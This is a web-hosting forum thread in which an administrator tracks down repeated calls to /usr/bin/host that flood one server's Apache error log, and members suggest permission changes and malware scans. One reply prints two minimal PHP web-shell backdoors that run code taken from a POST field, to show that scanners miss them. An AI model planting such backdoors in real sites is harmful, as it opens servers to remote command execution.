Odd error.log content on 1 server

Richard G

Richard G

Verified User
Joined
Jul 6, 2008
Messages
13,765
Location
Maastricht
Several servers configured the same way, the /var/log/httpd/error.log starts the same way the first 7 lines, but then.... this is what's happening on 1 server, no "normal" error logs, only error logs files flooded with this:

Code: 
[Sun Aug 13 04:06:11.004031 2017] [ssl:warn] [pid 26813] AH01909: localhost:443:0 server certificate does NOT include an ID which matches the server name
[Sun Aug 13 04:06:11.004339 2017] [ssl:warn] [pid 26813] AH01909: shared.domain:443:0 server certificate does NOT include an ID which matches the server name
[Sun Aug 13 04:06:11.004644 2017] [ssl:warn] [pid 26813] AH01909: www.example.com:443:0 server certificate does NOT include an ID which matches the server name
[Sun Aug 13 04:06:11.004716 2017] [lbmethod_heartbeat:notice] [pid 26813] AH02282: No slotmem from mod_heartmonitor
[Sun Aug 13 04:06:11.004762 2017] [:notice] [pid 26813] mod_ruid2/0.9.8 enabled
[Sun Aug 13 04:06:11.314582 2017] [mpm_prefork:notice] [pid 26813] AH00163: Apache/2.4.27 (Unix) OpenSSL/1.0.1e-fips PHP/5.6.31 configured -- resuming normal operations
[Sun Aug 13 04:06:11.318640 2017] [core:notice] [pid 26813] AH00094: Command line: '/usr/sbin/httpd'
Usage: host [-aCdlriTwv] [-c class] [-N ndots] [-t type] [-W time]
            [-R number] [-m flag] hostname [server]
       -a is equivalent to -v -t ANY
       -c specifies query class for non-IN data
       -C compares SOA records on authoritative nameservers
       -d is equivalent to -v
       -l lists all hosts in a domain, using AXFR
       -i IP6.INT reverse lookups
       -N changes the number of dots allowed before root lookup is done
       -r disables recursive processing
       -R specifies number of retries for UDP packets
       -s a SERVFAIL response should stop query
       -t specifies the query type
       -T enables TCP/IP mode
       -v enables verbose output
       -w specifies to wait forever for a reply
       -W specifies how long to wait for a reply
       -4 use IPv4 query transport only
       -6 use IPv6 query transport only
       -m set memory debugging flag (trace|record|usage)
Usage: host [-aCdlriTwv] [-c class] [-N ndots] [-t type] [-W time]
            [-R number] [-m flag] hostname [server]
       -a is equivalent to -v -t ANY
       -c specifies query class for non-IN data
       -C compares SOA records on authoritative nameservers
       -d is equivalent to -v
       -l lists all hosts in a domain, using AXFR
       -i IP6.INT reverse lookups
       -N changes the number of dots allowed before root lookup is done
       -r disables recursive processing
       -R specifies number of retries for UDP packets
       -s a SERVFAIL response should stop query
       -t specifies the query type
       -T enables TCP/IP mode
       -v enables verbose output
       -w specifies to wait forever for a reply
       -W specifies how long to wait for a reply
       -4 use IPv4 query transport only
       -6 use IPv6 query transport only
       -m set memory debugging flag (trace|record|usage)

So it looks as something is using the host command wrongly and this is the result.
It's flooding the error log and it's only happening on this one server.
How can I find out where it's coming from and to stop this kind of log from which you can learn nothing except that something is wrong somewhere but no pointing to where or what?
 
if it's flooding, replace the host binary (temporary) with a simple shellscript to log stuff to find out who and what (uid, gid, paths, env etc).
 
I can't script. Is there any other option or can somebody make an easy script for me? Because it seems as if this is called from within apache.
 
Well, maybe it's better to use disable_functions in php.ini to deny users to execute commands. There's no reason why they should have access in the first place.
Or remove execution rights (chmod o-rwx host) for the 'others' on the host binary.

The first user to complain is the one using it :)

But you also might want to check your server to make sure no user or script is doing funny stuff. If it's flooding and gives an error, most likely the user doesn't even know it running.
 
I have disable_functions line but exec was removed due to issues with Centovacast. I could try adding exec again.
Indeed, remove execution rights is also a possibility, stupid that I did not think of it. :)

Thanks for the tips.
I also think the user might not aware of it being running. I do have maldetect running, munin and CSF/LFD so if something really goes wrong I'll be notified. But it would be better to find out which user is causing this.
Probably indeed by disabling it for the users, somebody will complaint or I might see something in the logs.
Thanks!
 
Remember to run a full maldetect once in a while. Default it will scan only files of the last 1 or 2 weeks, so new rules will not detect older files.
 
Are you sure about that? Little while ago after a maldet upgrade, I had a notification of a file which already existed before the upgrade and wasn't changed.
Doesn't it keep the old file hashes somewhere?

LoL, I now get this in the apache error logfile:
Code: 
sh: /usr/bin/host: Permission denied
Still nothing about where it comes from. I'll try disabling exec in php.ini and see if that causes trouble or not.
 
Last edited:
Could it be attacks of some sort to SSL? I see a lot of these lines, followed by that host error if I set apache to the debug log:

Code: 
[Sat Aug 19 03:05:45.770814 2017] [ssl:debug] [pid 14437] ssl_engine_io.c(1103): [client 46.229.168.80:9274] AH02001: Connection closed to child 5 with standard shutdown (server localhost:443)
Usage: host [-aCdlriTwv] [-c class] [-N ndots] [-t type] [-W time]
            [-R number] [-m flag] hostname [server]
       -a is equivalent to -v -t ANY
       -c specifies query class for non-IN data
       -C compares SOA records on authoritative nameservers
       -d is equivalent to -v
       -l lists all hosts in a domain, using AXFR
       -i IP6.INT reverse lookups
       -N changes the number of dots allowed before root lookup is done
       -r disables recursive processing
       -R specifies number of retries for UDP packets
       -s a SERVFAIL response should stop query
       -t specifies the query type
       -T enables TCP/IP mode
       -v enables verbose output
       -w specifies to wait forever for a reply
       -W specifies how long to wait for a reply
       -4 use IPv4 query transport only
       -6 use IPv6 query transport only
       -m set memory debugging flag (trace|record|usage)
[Sat Aug 19 03:05:53.470943 2017] [ssl:debug] [pid 14427] ssl_engine_io.c(1103): [client 46.229.168.74:33848] AH02001: Connection closed to child 4 with standard shutdown (server localhost:443)

Also from 51.255.65.96 and 51.255.65.6 (ovh france).
and a couple of others. None of them have to do business with our server or should have reason to connect to it as far as I know.
They're almost all OVH servers.
 
Richard G said:
Are you sure about that? Little while ago after a maldet upgrade, I had a notification of a file which already existed before the upgrade and wasn't changed.
Doesn't it keep the old file hashes somewhere?

LoL, I now get this in the apache error logfile:
Code: 
sh: /usr/bin/host: Permission denied
Still nothing about where it comes from. I'll try disabling exec in php.ini and see if that causes trouble or not.
Click to expand...

Still pretty sure about that as I recently noticed it when moving an older account to another server.

And yes, the error will still get in you logfiles because a script will still try to execute it.
You could cross-reference the time 03:05 with your apache logs and see what it yields. If it's due to a remote request, you should be able to find something.
 
I'll do a manual scan as you advised, just to be sure. Its just "maldet -b -a /home?/?/domains/?/public_html" correct? If yes, I have to do that at night time since it's eating 100% cpu.

As for the time...
Code: 
5.188.10.100 - - [19/Aug/2017:03:05:44 +0200] "\x03" 404 0 "-" "-"
is the only thing I can find in the access log.

I searched for .sh scripts, there was no host command in there, except maybe for Centovacast, their sh scripts where encrypted.
I searched every domain error.log and log manually and nothing was to be found at that time except these in the error.log:

Code: 
[Sat Aug 19 03:05:45.706736 2017] [ssl:debug] [pid 14437] ssl_engine_kernel.c(368): [client 46.229.168.80:9274] AH02034: Initial (No
.1) HTTPS request received for child 5 (server www.somedomain.org:443)
[Sat Aug 19 03:05:45.711754 2017] [authz_core:debug] [pid 14437] mod_authz_core.c(835): [client 46.229.168.80:9274] AH01628: authori
zation result: granted (no directives)

Which corresponds to this somedomain.org.log file:
Code: 
46.229.168.80 - - [19/Aug/2017:03:05:45 +0200] "GET /forum/index.php?topic=9330.msg53556 HTTP/1.1" 200 14806 "-" "Mozilla/5.0 (compa
tible; SemrushBot/1.2~bl; +http://www.semrush.com/bot.html)"

This is the ip used, but probably it's a coincidence, because these have nothing to do with a host command.

Centova is running on all 3 servers so it can't be Centova. Maybe it's munin server, the other 2 only have munin client running. I can't think of anything else.
 
Last edited:
Hello Richard,

That's most likely a malware which executes /usr/bin/host.

You can find some details here: https://serverfault.com/questions/705217/usr-bin-host-executed-by-hacked-php-script

Neither clamav nor maldet gives 100% protection against malware. Hardly they will find anything of these (with the default virus bases):

./bad1.php:
PHP: 
<?php
exec($_POST['s']);

or

./bad2.php:
PHP: 
<?php
eval($_POST['s']);

but these simple scripts open a wide door for hackers.

p.s. malware found with the help of Malware.Expert :

Code: 
./bad1.php: {HEX}php.exe.globals.406.UNOFFICIAL FOUND
./bad2.php: {HEX}Malware.Expert.generic.eval.21.UNOFFICIAL FOUND
 
Last edited:
Thank you Alex.

I've had a look at the thread, but did not find any libworker.so or 1.php or 2.php file as far as I could see.
Neither are there lots of httpd processes or a use of cpu. There is no continuous /usr/bin/host process, it's just called kind of regularly but not every minute.
I still agree it could be some malware.

Is there an easy way to use the Malware.expert to scan all public_html directory's?
Or do I need to use:
Code: 
malware.expert.scanner.sh scan /home
for alle directory's under /home? Or does it also except the maldetect string like:
Code: 
malware.expert.scanner.sh scan /home?/?/domains/?/public_html

Or is there a better way?
I did chmod o-rwx /usr/bin/host as suggested before though but I see the "permission denied" appearing in the logs.
 
Malware experts have their own thread on the forums here, and you can load their virus bases into Clamav. Clamdscan is used by maldet. That's how I run it.
 
Scanned all server manually just to be sure.
On another server some base64 encrypted stuff, not sure if it is malware and 2 malware files.

On this server however, 0 malware was found. Still the host file is called by or via apache because I see the access denied lines. But it's not called every minute. More like every 10 minutes or so I guess.
 
You must log in or register to reply here.
Back
Top